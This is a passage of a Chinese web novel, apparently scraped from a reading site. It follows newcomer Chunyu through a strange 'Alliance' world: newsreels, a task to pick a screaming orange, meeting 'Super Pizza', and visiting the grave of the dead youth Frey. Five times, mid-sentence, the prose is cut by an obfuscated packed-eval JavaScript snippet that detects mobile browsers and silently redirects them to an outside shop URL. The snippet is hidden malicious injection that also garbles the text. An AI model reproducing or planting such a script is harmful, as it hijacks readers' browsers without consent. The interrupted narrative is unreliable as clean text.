春虞一直知道自己属于“异类”，不止是生理上的，还有心理上的，所以来到联盟，春虞本来是很高兴的，虽然这只是一个游戏世界，但她以为至少在联盟，她和所有人是一样的奇怪。 但是不是这样的，心理上，联盟里的人也很奇怪，他们所有人是同一种奇怪，他们心里有一种同样的，坚定的标准，春虞当然也很奇怪，但春虞是另一种奇怪，所以春虞在这里还是异类。 春虞私心里觉得不应该是这样的，但也说不出不对的地方……初见的惊喜一旦散去，好像联盟也变得稀疏平常甚至是无趣起来。 巨大的显示屏很快开始一周一次的“黑白新闻放送”，春虞是这样理解的。黑白图片掺杂着一些看不懂的文字（据说是zkx星球破碎前，本土世界的官方通用语言，全名为萨希艾语），底下是中文和英文翻译。 大意是：经过考古队的不懈努力，成功从时空材料里还原出小部分历史，一小段关于zkx星球1200年前的战争影像。 大概联盟的文物修复手段与众不同，反正人类的考古工作不能做到这种程度。 显示屏周围聚集的成员逐渐变多，似乎大家都特意赶来看“黑白新闻放送”，春虞进入联盟的时间短，对联盟还没什么归属感，不过这种时候还是合群一点好，她抬头重新看了一遍“新闻”，这次稍微用了点心。 “诶，那个将领，他左胸是不是纹了一朵蔷薇？”春虞的关注点奇特，当然，你从她的关注点也能看出，她对这个1200年前的，已经死去的将领是没什么敬意的。 你会对早已作古的，陌生的历史人物产生敬意或者悲伤吗？春虞当然不会，她甚至不能确定这真是一个历史人物而不是虚拟人物。 “是的，他胸前纹了朵花，不知道是什么花。也可能是樱花。” 接话的是一个戴着墨镜的络腮胡男人，头顶上是蓝色的名字【方圆】，他语气平淡，好像根本没察觉出春虞对已故之人没有敬意一样，又或许察觉到了，但这种事情在联盟内根本没什么大不了的。 因为你不认识他，你没见过他，你可以出于生命的敬畏，对他的死亡感到同情和遗憾，但是同样的，你也可以不难过，你也可以无动于衷。 春虞更倾向于是第二种，她愣了愣，还是没忍住露出一个发自内心的笑容。 春虞很多时候对生命对死亡都没什么敬畏，毕竟这些一直都离她很远。印象里，她也因此受到质问和责难，就算死去的人与她并无干系，就算她发表的言论并无不妥，只要没表现出悲伤模样，似乎就代表绝对冷血。 只是陌生人而已，为什么要伤心？ ——“春虞，你为什么不哭？” ——“陈春虞，他不是陌生人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669037|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们有一样的姓氏，你们在同一篇族谱里。” 如果我认识他们，如果我喜欢他们，并更高兴看着他们活着的样子，那么他们死了，我也会为他们难过的。可是，“可是我只见过他们两次。” 春虞摇头回神，她不否认自己存了别的心思，她收回之前的话，联盟，果然还是有些不同的。但是还不够。 她要确认，不在意这种事情的人是否只是个例。个例在任何地方都存在，但春虞要的从来不是个例，或者说，她希望能遇见这样的个例，并且能继续遇见这样的个例。 春虞继续试探：“不知道战争是怎么爆发的，但战场看起来很惨烈呢，他们的服饰都出现了不同程度的破损。” “太惨了。”方圆顺口接道，“好多人连完整的尸身都没保存下来。” 没有反驳，没有说教，甚至没有多少人在意，即使春虞根本不知道战争因何而起，即使春虞对惨烈的战场并无动容。没关系。 因为差异存在，所以联盟接受不同。只是普通的，正常的包容理解，仅此而已，可是“真难得啊。” 方圆继续研读“黑白新闻”，回答她的又变成了不认识的人，一个叫【豌豆】的爆炸头，蓝色名字。 “这样大范围的战争确实难见，历史记载的也就两场而已，不过你看起来好像很兴奋？” 不是好像，是真的感到兴奋。春虞在心里纠正，因为我已经确认，被包容的不是个例，而是“他们”，也将是“我们”。我知道联盟所有人心里都有共同的坚定的标准，但是标准之外，所有的奇怪都被尊重和接受，没人指责你，没有人会批评你，也没有人说你是错的。 春虞心想，我喜欢这里，我确认我喜欢联盟。 “怎么会。”脸上温度有点高，春虞下意识偏头，在支撑着显示屏的，光滑到可以照镜子的方柱瓷面上清晰的看见了自己发光的眼睛，以及泛着不正常红色的脸。 一个可爱到几乎只能存在于二次元的孩子在她身边停下，ta有白金色的蓬松微卷的短发，一双蓝而透像大海却温和懵懂的眼睛，此刻这双眼睛里有些许疑惑，“不兴奋吗？居然不兴奋呀……” 声音清脆，依旧听不出性别，春虞看见ta微蹙的眉头，不自觉生出怜惜的情绪，她蹲下来，和ta平视，不再掩饰自己的真实想法：“好吧，被你发现了，我确实有点兴奋。” 因为我们虽然是不一样的奇怪，但是我已经不会害怕了。 春虞看着ta头顶紫色的名字，发出真诚的赞叹， “朝朝，你好可爱，比人类口中的天使还要更甚。” “哎呀，这也太直白了，夸赞。”不知道是害羞还是感动，朝朝脸色微红，那双透亮的眼睛泛着水光， “你的眼睛也很漂亮，春虞，它让我想到了地球上的一种绿宝石。” “你是说橄榄石？”春虞想到了太阳的宝石，所以天赋能力是光合作用到底能干嘛。 “不，现在看起来更像沙弗莱。” 7. 初遇 春虞接连几天都待在了联盟里，虽然联盟里的成员每活一天就能得到一积分的收入，但为了更好的探索联盟，春虞还是试探着从【门】接了几个小任务。 第一个任务是帮新手村的海豚送一封信给他的妻子，春虞很顺利的完成了，得到了2个积分的报酬。 接下来的几个任务也很简单，因为表世界和中省界是不互通的，所以春虞的任务主要就是在表世界和中省界来回奔波跑腿，但做到第五个任务，春虞就被难住了。 这个任务是找到一棵橘子树，并从树上摘一个新鲜的橘子回到中省界，交到小女孩的手上。 春虞几乎把整个中省界的街道都跑了个遍，连橘子树的影子都没看见。她又把《常识大全》拿出来翻了翻，书里也没提到橘子树。 但要放弃这个任务，春虞也很舍不得，前几个任务的积分都是个位数，而摘一颗橘子的积分，居然有15积分！ 春虞思来想去，决定厚着脸皮去问一下路。 但问路的人选，她是经过深思熟虑的。她在联盟认识的人本来就少，认识且能找到的人就更少了。 春虞揣着新赚的11积分，果断往生活区的街道走，很快就到了乌理理的婚纱店。很遗憾，乌理理不在。 但店里还有其他人，春虞下意识看了一眼她的头顶，是【崇声】。 崇声穿着一件柑子色的衬衫，嘴里含着一根女士香烟，慵懒的倚靠在结账柜台上。 “啊，要看看婚纱吗？乌理理在我店里吃烧烤，我来替她守一下婚纱。” “没有，我是来问路的”春虞心一横，想着问谁不是问，干脆开口道：“我接了一个摘橘子的任务，但是我没找到橘子树在哪里。” 崇声了然的点头，“明白了，你要找沸橘，沸橘树在【禁区】入口，但是沸橘摘下来的时候会尖叫，你最好带一个封闭的盒子。” 地图上有标注，【禁区】在中省界的最东边，但春虞疑惑的是：“【禁区】是可以随便进去的吗？” 崇声：“系统既然能把这个任务派发给你，那么就说明你有完成任务的能力，放心吧，很安全。” 春虞：“我的意思是，既然叫【禁区】，是否需要什么凭证或者许可才能进去呢？” 崇声退后一步，将她从上到下打量了一遍：“你是新成员还是rakta？” 崇声好像猜到了答案，没给春虞回答的时间，笑道：“‘禁区’是音译，不是‘禁止区域’的意思。不过我认为你有必要学点新东西。” 崇声从空气里抽出一本《zk生物图鉴》递给春虞，“【生活区】有图书馆，有时间可以去看看。” 春虞不敢说自己已经去过图书馆了，但是在那里看了一整天的漫画。她双手接过书，道谢后回到078号住所，在杂物间里取了封闭的盒子，穿过【门】就到了【禁区】门口。 站在门口能透过光幕看见【禁区】里的世界，很荒诞，也很漂亮。 通常来说，沙漠和雪地是不可能同时出现的，但在【禁区】，它们一起出现了。不止有雪地和沙漠，你还能看见森林，草原和风化的岩石杂糅在一起。好像有谁把世界砸破成碎片，又一片一片胡乱拼接在一起，才形成如此景象。 春虞穿过了光幕进入【禁区】，脚下是绵软的草地，春虞走了几步，蹲下去，旁边是一块被切得稀碎的沙漠拼图，她用手捧起一捧细沙，还是温热的。 被挖掘过的细沙底下有一抹红色，春虞顺着那抹红色又刨了几下，很快挖出一朵黑色茎叶，红色花瓣的花，正好她有带多余的封闭盒子，干脆一把薅了装进盒子里。 春虞玩了一会儿，很快记起自己来的目的。她站起来环顾了一圈，并没有看见橘子树，有点心累。 春虞选了一片森林，决定朝着森林的方向走，但是她没见过沸橘的橘子树，既然沸橘是会尖叫的橘子，那么橘子树也可能会跑路。 春虞慎重的拿出了《zk生物图鉴》，翻到植物篇——沸橘。沸橘有金色的叶子，冒着火光会尖叫的果实，还有红色的树干，一般生长在海上漂浮的木板上。 这真的不是游戏虚构生物吗？春虞合上书，按照说明离开【禁区】，然后从另一扇【门】重新来到【禁区】门口，这次她没有直接穿过光幕，而是伸手在光幕周围类似门框的位置摸索。 一通摸索后，春虞总算按出来了一个蓝色光屏，春虞点击输入“禁区_R011_分区”，光幕后的景色快速移动，很快变成一片蓝色大海。 很好，这次春虞看见橘子树了，就长在飘在海里的木板上，根系把那块木板都已经扎裂了。 春虞跨进【禁区】，门口有只小船，她划过去摘了两个低垂着的沸橘，橘子外是一层火焰，但并不滚烫，反倒是橘子的尖叫声更显刺耳。 春虞眼疾手快的将两个橘子分装在封闭盒子里，又顺着原路划了回去。 摘橘子的任务春虞是在中省界的【次元屋】接到的，【次元屋】可以打破次元壁，是联盟成员常用的交流场所。 春虞把橘子交给小女孩，成功赚到了15积分。 想起盒子里还有一朵红色的花，春虞干脆把《zk生物图鉴》拿出来翻了一下，很快她找到了这朵花的说明。 【独我草】一种在尸体上开出的红色艳丽的花朵，花瓣是一种天然的低劣的迷情药。效用之一是：把花送给谁，谁就会疯狂迷恋摘下花的人。（ps：时效性因人而异哦～） 春虞面无表情的掏出盒子，盒身是透明的，春虞看着自己因为手欠而连根拔起的独我草：微笑:） 春虞把装花的盒子举在手里，挤进了【次元屋】最热闹的位置。 “大家好啊，我做任务的时候摘到了一株独我草的花，有谁想要看看吗？” 人群安静了一秒又立刻四散奔逃，原本被围着的吧台露了出来，一旁的高椅沙发霎时变得空荡荡。 乌理理站在五米外发问：“你确定是独我草的花？” 方圆：“你真的摘下了！” 旁边一个不认识的NPC眯眼露出促狭的笑：“咦惹，你好变态啊～” 次元屋陷入诡异的沉默。 朝朝：“疯狂迷恋某人一看就不适合我啊，就算这花是有时效性的也不可以！” 顶着【超级披萨】名字的赫连嘉玉：“可以给我看看吗？” “诶？”没想到真的会有人想看，春虞扭头寻找那个说话的人，她怀疑对方肯定也没看《常识大全》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669038|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和《zk生物图鉴》，不然怎么会提出这种要求。 然而当春虞怀着一种微妙的看好戏的想法去看她，却在看到对方时感到羞愧了。 这个顶着【超级披萨】名字的人有一双温和平静的眼睛，当她看着你的时候，你会有一种被包容的错觉。 春虞看着她的眼睛就知道，这个叫‘超级披萨’的人肯定知道独我草的功效，她那么说，只是出于礼貌，一种不让别人看起来太尴尬的礼貌。 春虞有点恍然，又确实有点儿尴尬。她有时候会分不清联盟，现实与虚拟的界限。 春虞顺着她的话说：“当然可以，但是我们得先找一个人少的地方。” 【超级披萨】笑得很温和，“可以来我的小岛，展示给我看。如果你不介意的话。” 春虞飞快的瞄了一眼【超级披萨】的脸，语气有点飘：“比如什么时候？”她真的好漂亮。 对方伸出手做邀请状：“现在？” 春虞做梦似的将手放了上去，“当然。” 说是去【超级披萨】的小岛，其实也就和人类的交换联系方式差不多。 她们去到了一个独立的空间，只有春虞和超级披萨。脚下是玉制的阶梯，旁边是银色的门。 “就在这里吗？看一看独活草。”潜台词是确定要看吗？ 【超级披萨】挑眉：“等我开门，先进去。” 开门踏上漂浮的岛屿后，对方才道：“打开看看吧。” 春虞从盒子里取出了花，暗红色的，艳丽的，扭动着，像蔷薇一样，好像活着的花。 【超级披萨】定定看了几秒，然后笑了，“果然对我没用。” 春虞不明所以：“啊？” “我的天赋克制它。”【超级披萨】不想继续这个话题，也没有解释，“你的名字？” 春虞指了指自己的头顶：“看不见吗？” 【超级披萨】解释道：“你隐藏了自己的信息，我只能在你头上看见一串数字加乱码。而且太长了，我总不能以这串乱码称呼你。” 嘶，原来隐藏信息后只有自己能看到自己的名字啊。 春虞尴尬的笑，现场给自己取了个网名：“‘弗莱的影子’，就叫这个好了。” 【弗莱】是春虞前几天在图书馆看的漫画书里的角色，一个永远17岁的美强惨配角。 【超级披萨】多看了她一眼，没说什么，只是沉默的将这个名字添加进岛屿的访客名单。 毕竟看漫画的都知道，弗莱是没有影子的。 这就是披萨小姐和妖怪春虞的开始了。 虽然这个时候披萨小姐还不是披萨小姐，只是一个头顶【超级披萨】的陌生NPC，妖怪春虞也不是妖怪春虞，而是所谓“弗莱的影子”。 在往后的无数个日夜里，春虞一直在后悔，为什么在初次自我介绍时没有说出自己原本的名字，而是用——“某”的“某”——这样一个短句，来称呼形容自己。 “等我反应过来，我应该告诉披萨小姐——‘我是春虞，只是陈春虞，而不是谁的什么东西’，即使我知道，这只是一个网名。但我错过了最好的时机。我不可以是任何事物的附庸，我只是春虞，至少在披萨小姐面前。” 8. 联盟日常 “很久以后，我回过头来再看，时常会疑惑，如果我只是需要一个同类，为什么会选择你，或者说，为什么你会选择我？披萨小姐。” 春虞在此之前其实见过很多次赫连嘉玉，准确来说，是见过【超级披萨】这个名字。 【超级披萨】经常在【次元屋】活跃，偶尔春虞也能在【生活区】的街道看见她。 但由于对方实在是太正常了，简直就像一个真正的，普通的，毫无特殊之处的人类。换句话说，就是【超级披萨】根本不像NPC，也不像联盟老成员，而是和春虞一样，是一个误把联盟当成游戏所以闯进来的玩家。 因此春虞才从来没有想过了解对方，甚至在上次交谈后，春虞才第一次看清她的脸。 在此之前，【超级披萨】是什么呢？是长风衣和帽子，是眼熟的陌生人，是刷新频率过于频繁的NPC，总之不会是朋友恋人之类的。 但两人在通讯手环上互通了联系方式之后，这种情况就迅速的改变了，此前，春虞不知道也没想到可以交换联系方式，就算想到了，她也没有人可以交换联系方式，【超级披萨】是第一个。 【超级披萨】当然是不一样的。 春虞也在联盟里见过其他成员的人形，当联盟成员不暴露本体特征时，她们的外观也能做到和普通人类完全一致，但你只看妆容和服饰就知道她们是不同的。 她们的妆容有一种诡异的美感，她们从不根据天气和温度挑选服装，如果你有幸见过山鬼或者女巫，一定能想象出她们的模样。 在满大街的山鬼和女巫里，长风衣和帽子当然是不一样的，相比之下，【超级披萨】简直就像一个真正的地球人类，她只是和春虞一样，机缘巧合之下才来到联盟的。 人总是希望自己是不同的那个，然而真正被揪出来当成异类后，又想寻求一些认同感了。 春虞想，我就是这样所以决定靠近披萨小姐的。 摘橘子任务之后，春虞又陆陆续续接了些其他需要进入【禁区】的任务。 一来这一类的任务积分单价往往更高，二来呢，春虞总能借着任务之故从【禁区】里带出点什么东西。 久而久之，春虞倒有点享受做任务的乐趣了，或者说，她喜欢和享受的是这种成就感。 之前提到过，每个区都有巨大的光屏（类似于车站显示屏），除了一周一次的“黑白新闻大放送”，光屏上播放的，更多的还是“XX区——XX完成任务系列——N——获得优异及以上评分” 春虞自从有次完成任务后恰好听到光屏播报了自己的名字，之后每次完成任务，都要在光屏上找到自己的名字。 被人以赞叹或者表扬的形式提到自己的名字，春虞总是很高兴，从小时候主动举手回答问题到长大了怀着功利的善意去帮助别人，她总是这样，愿意为一句夸赞做些没必要的事情。 在进入联盟前，春虞偶尔还会因此疑心自己是否太过虚荣。至于现在，春虞只会想，因为我高兴，我很乐意，所以我这样做了。这怎么能叫虚荣，这是荣耀，一种另类的荣耀，不是吗？ ——“【生活区】‘弗莱的影子’完成一个中级任务，评分O，获得积分20，贡献点0” 春虞愉快的听着显示屏播报，恨不得拿相机将这一幕拍下来。 春虞走到【生活区】和【次元屋】的分界处，旁边是【生活区】的一个露天咖啡厅。 【风筝】：“哇哦，这个‘弗莱的影子’也是新成员吗？她接任务的频率很高诶，希望她能在联盟待的久一点。” 【梅奥尔】：“我们都希望这样，你知道，联盟对正式成员也一点不限制，我觉得这个规则应该改一下，外面的世界真的太危险了。” 【织海】：“毕竟联盟如今的执政官是个rakta，那群感情充沛的家伙做什么都不奇怪。不过即使身为rakta，我也绝对不会抛弃或者离开联盟的。” 【霜合】：“话别说太满啊，你能保证这句话永远生效吗？” 【织海】：“你就非得从我话里挑刺吗！我只是有感而发，并不是承诺了什么……你们果然很讨厌，你这个自大的，无理的家伙！” 【霜合】理亏闭嘴了。 【风筝】：“什么承诺？你们在说什么？需要见证人吗？” 【霜合】：“……没你事，玩去吧。” 【生活区】的成员春虞一个都不眼熟，她听了一阵，默默绕去了【次元屋】。 【次元屋】最热闹的位置好像在讨论一部名为《星球史》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669039|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书，春虞好运气的在图书馆里看过。虽然只是当作漫画来看，但她也记住了不少剧情。 （以下对话中出现的【沙达尔】是《星球史》记载的已经死亡的人物） 【卡里克】：“《星球史》的系列文到底在写什么鬼东西，今天发售的星球史——N_系列居然说【沙达尔】是女儿身？” 【蜚】满脸震惊：“它怎么敢的啊？乱写什么！” 【鱼乔】：“你也说了是系列文，那群家伙写出什么东西我都不意外。”微笑:）他从数据库里调出一系列【沙达尔】生平事迹参考资料附上，“所以这种东西听听就好了，没必要当真。” 【超级披萨】：“一些猎奇。” 【鱼乔】：“不过星球史上经证实的无性别人物也不少。” 【蜚】：“好有趣！我记得联盟里男人也可以生孩子，所以【沙达尔】是真的有一个孩子？” 【超级披萨】：“居然很有道理。” 【崇声】：“我印象最深还是那个，有人说【沙达尔】是神的母亲……” 【蜚】冷笑道：“那群忘恩负义的小人又在捏造事实，也就是执政官宽容才一直留着他们。” 【崇声】：“我甚至看过什么，文献里没有明确提出【沙达尔】是男的，所以……” 【超级披萨】：“你怎么能假定他是男的” 【蜚】：“就是” 【新羽】：“我要笑晕过去了” 【崇声】祈愿道：“希望星球史总部那边掘坟一切顺利吧。” 在【次元屋】春虞也感觉自己像个格格不入的猹，也不是听不懂，但是就是不知道怎么接下句，事实上，在一块儿交流的大家更像在讨论历史，但春虞是真切把《星球史》当作漫画看的。 至于【蜚】中途提到的“那群忘恩负义的小人”，春虞就更不明白了。 因为一部漫画……呃，历史，吵起来是很正常的事，春虞不也经常为了自己喜欢的角色和别人互怼嘛。 但一般而言，她们的语言攻击对象只涉及漫画里的角色，通常不会上升到本人（） 所以这个《星球史》漫画是有什么隐情吗？还是真的是联盟的历史书呢？ 春虞认为自己有必要去了解新知识了。 9. 游戏还是异世界？ 春虞接连在【生活区】的图书馆刷了两天的zk星球史后，觉得自己可能发现了什么秘密。 在此之前，春虞一直猜测自己可能是通过全息游戏误入异世界了。但现在根据已知推测，春虞觉得自己应该是zkx星球爆炸后，zk幸存者来到地球与人类结合生下的孩子。 但是也没有证据啊，春虞回想自己短暂的前半生，觉得再正常不过了。自她有记忆起，妈妈爸爸和姐姐就没换过人，更没有表现出什么特殊能力，春虞也没有发现自己家里有什么奇怪的东西，周围也没有灵异事件发生。 除了春虞自己，没什么奇怪的。所以果然《星球史》果然就是漫画而不是历史书吧！ 春虞恼怒的把书放回原位。她最初对星球史感兴趣完全是从一个旁观者的角度，就像人类看一部漫画那样。不过zk星球浩瀚的历史，庞大的世界观，生动鲜活的各种角色，看起来超级混乱的星球，都实在有趣。 春虞不出意外的有点上头。 这种感觉就像你追的番是真的，而且你推可能还和你长辈认识，或者换个说法，哈利波特和魔法世界真实存在，现在全球招收学生，而你的窗外停了只猫头鹰。 光是想一下是不是就超级激动？但是不确定性也很多。比如，春虞并不认识自己那个神秘的长辈，窗外的猫头鹰也许只是恰巧路过，zk星球是假的，这真的只是一个全息游戏而已，或者星球史是杜撰的…… 也不能怪春虞这么消极悲观，毕竟以正常人类的视角来看，星球史真的很不靠谱啊！ 春虞把《星球史——重大事件时间轴》翻到扉页，“1200年前据说神存在……” “这都什么跟什么啊？”春虞小声嘀咕，而且她还发现联盟成员虽然对各种奇怪形状的非人物种司空见惯，但是对“神”却讳莫如深，真是奇怪啊，明明妖怪都有了，神为什么不可以有？ 难道是春虞理解的神和联盟星球史里提到的“神”不一样吗？ 春虞不想浪费时间纠结这个无解的问题，她离开图书馆，准备去【次元屋】打听一下“弗莱”的事情。她刚刚在翻阅《星球史》时发现“弗莱”这个角色的死亡记录很奇怪。 春虞来到【次元屋】第二热闹的茶屋。第一热闹的是酒屋，但rakta是个奇怪的种族，20岁才成年，而未成年理论上来说，是不能光明正大的饮酒的。 春虞捧着茶杯找了个空位坐下，“有人愿意和我谈谈联盟序列为A_077_01的历史人物吗？我想知道他是不是真的死了。” “序列A_077_01，你是说弗莱？”一个熟悉的声音接话，“他当然死了，在星球正史里记录的信息不会出错，他确实死透了。” 春虞寻声望过去，对方果然顶着一头眼熟的紫发紫眸，春虞向上看了一眼对方头顶，粉色的“乌理理”三个字清晰可见。 “原来是这样啊，”春虞挤出笑容，声音疑惑道：“死因是重伤不治吗，可是星球史记载，弗莱的队长就是治疗系的诶。而且配图看起来，他们在战场上离得很近，我以为弗莱能够得救的。” 乌理理舔了一下上唇，似乎觉得失礼，她伸出左手挡住嘴，指甲上的红色丹蔻漂亮惹眼，“原来是你啊，怎么还像个新人一样。好吧，让我给你科普一下联盟吧。” “你所见的联盟一共14个区，每个区3～7位管理者，外加4位军队长负责对外御敌，此外，联盟是由精神+数据链条+原界石构建而成。” “最重要的是原界石，除了起联盟基石作用，它还可以做成武器“杀死”任何一个联盟成员。” 乌理理声音严肃起来，“就算只是碰到一点，也能瞬间把我们变成比人类还羸弱的废物，就算立刻移走原界石，也至少需要两个小时才能恢复基础的体力……” 看着春虞脸上毫不掩饰的震惊，乌理理满意地靠回椅背，她语气轻松了些，“不过别担心亲爱的，原界石管控严格，而且联盟成员禁止自相残杀，至于联盟之外，你遇见原界石的可能性不足亿万分之一。” 乌理理将话题扯回到弗莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669040|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上，“所以你明白了吗，弗莱的那位队长，他在战场上被原界石锁住了能力，所以救不了弗莱。还有问题吗？” 春虞仍旧不解道：“可是弗莱自己没有被锁住啊，他不能自救吗？序列077不应该很强吗？” 乌理理看向春虞的眼神带着一丝怜悯，“准确来说，弗莱的序列是A_077_01，他是asthi，他当然强大。”乌理理顿了顿，近乎残忍的，一字一句的告诉春虞：“他只是不想继续了。” 弗莱只是不想继续了。 所以弗莱其实是可以不死的，当放弃生的希望时，即使拥有不死的天赋也无能为力。 春虞有点明白了，可她好像又不明白。她第一次看见弗莱的配图就很喜欢，弗莱笑起来的时候会露出满口大白牙，看起来傻傻的。 春虞从《星球史》几篇单薄的字句窥见了弗莱短暂的一生，她觉得这个人不像向日葵，像太阳。弗莱会给人带去温暖和欢乐，而不是为了一点阳光就失去方向，这样的人，为什么会在战场上放弃生的希望呢？ 她有点难过：“所以其实《星球史》没有写错，他真的倒在了战场上。” 春虞怀着最后的期盼：“那么历史有可能更改吗？” 乌理理摇头：“星球史最后，应该有弗莱躺在棺材里以及他墓碑的配图，等你攒够积分，可以申请去看一眼他的墓碑。”这话几乎是明示她历史不可能更改了。 乌理理亲口认证了，这是真实发生过的历史，甚至死去的弗莱还有墓碑。春虞再也不能自欺欺人地说这只是一本漫画了。 春虞不死心的追问：“我没记错的话，联盟里应该有成员的能力是穿梭时间？” 乌理理深深看了她一眼，“你没记错，但至今为止出现的时间相关的能力者们，都只能去到未来，而不能改变过去。” 春虞：“任何形式？” 乌理理：“据我所知，是的，任何形式。” 春虞沉默了片刻，轻声问：“那么，弗莱的墓碑，在哪里呢？” 10. 关于弗莱 弗莱的墓碑在【生活区】的纪念馆。 虽说是纪念馆，但通过【门】走进去，春虞却只看到一片绿油油的草地。 草地上隔着很远的距离会有一块光秃秃的墓碑，没有贴照片，也没有墓志铭。春虞顺着墓碑的排向，接连看了几个墓碑也没有发现规律。 也许弗莱的墓碑不在这一片区域。 “弗莱的影子？你在做什么？你想找谁的墓碑吗？” 春虞回头，是【超级披萨】，对方抱着一束被包扎好的，白绿相见的花束，显然和她是同一个目的。 “是的，我想找弗莱的墓碑。您知道他的墓碑在哪里吗？有人告诉我，去看弗莱的墓碑需要买票，但我不知道应该去哪里买票。”春虞想，也许她应该也带上一束花的。 【超级披萨】：“弗莱啊，比起山清水秀的地方，也许他会更喜欢大海。你往东走，能看见大海的地方会有答案的。” “对了，你有积分吧？去见弗莱的墓碑需要55个积分，希望你见到他高兴。” 春虞露出窘迫的神色，她这几天赚的积分当然超过了55个积分，但联盟太新奇好玩了，春虞不可避免的花掉了十几个积分，现在全身上下只剩49个积分了。 “好吧好吧，看起来我们的新成员有点囊中羞涩了。”【超级披萨】停了下来，她走向春虞，“别难过，小弗莱，告诉我，你还差多少积分？” 春虞觉得这样不好，她怎么能向陌生人要钱呢，可是弗莱怎么会是活生生的人呢，怎么会放弃希望死在战场上呢？她就是想去见见弗莱，见不到弗莱也要见一眼他的墓碑。 春虞声音带着哽咽，“6个，我还差6个积分，我会还给您的。” “知道了，你会还给我的。”【超级披萨】握住了春虞的手腕，声音很温柔，“小弗莱，你的手环呢？我没有带零钱。” 春虞用空着的左手去摸背包，然后从背包里取出那个通讯手环。【超级披萨】接过手环，在上面划了一笔积分。 和手环一起递回来的还有两朵花，浅黄色的，五个小花瓣的花，“别担心，这次小弗莱一定能顺利见到的。” 春虞点点头，收下了。她听【超级披萨】的话，一直往东走，很快她看见了大海，海风很大，夹杂着一种咸腥味，不太好闻。 靠近海的草地上，有一个自动售票机。春虞输入弗莱的联盟序列，很顺利的支付积分，买到了票。【超级披萨】划给她的积分不是6个，而是60个。 门票的外表不出意外的也是一把钥匙的模样，但比春虞住所的钥匙更小巧，而且是银制的。春虞照例握紧钥匙，心里想着要去的地方。 【门】再次出现了，春虞打开门，穿过门去到了一个新的小岛。岛并不算大，但四面环海，看起来不像是弗莱会喜欢的地方。 春虞以为弗莱会更喜欢热闹的地方。 岛的中央是一个孤零零的墓碑，墓碑上放了一顶破破烂烂的帽子，旁边是已经生锈的，破损的武器。 墓碑上的彩色照片里，弗莱右手比了个“耶”的手势，脸上呲着个大牙傻乐，看起来无忧无虑的模样。 弗莱在墓碑上的照片比在《星球史》里更加鲜活。 春虞把两朵小花放在墓碑前面的空地上，那里已经放了两束花和一瓶酒了。她坐在空地上，身体前倾，去看弗莱的墓志铭。 其实并不能看懂，墓志铭是用萨希艾语写的，春虞用联盟的通讯手环翻译成中文。她好像一直都不了解弗莱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669041|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弗莱17岁死在战场上，但《星球史》只提到了弗莱15岁凭借独特的天赋和努力一步步走到世人面前，然后生命在17岁终止。 墓志铭则提到了弗莱更为详细的前15年的生活。弗莱不是在爱里长大的孩子，父亲是罪犯被斩首示众，母亲为了生下他难产而死。弗莱悔恨自己的出生。 后来弗莱重新亲手选择了自己的亲人，然后亲人也离开了。 弗莱说：“队里的大家都是好人，但靠近我不是一件幸事。” 序号077，天赋是【希望】，弗莱一如他的天赋名字，他给很多人带去了希望，然而最后却放弃希望被杀死，这是弗莱的一生。 春虞怜惜弗莱，也许不只是单纯的像怜惜一个漫画角色那样。 “你好，弗莱，很高兴见到你。” “我叫春虞，我的序列号是078，这样看来，我们好像还挺有缘的。” 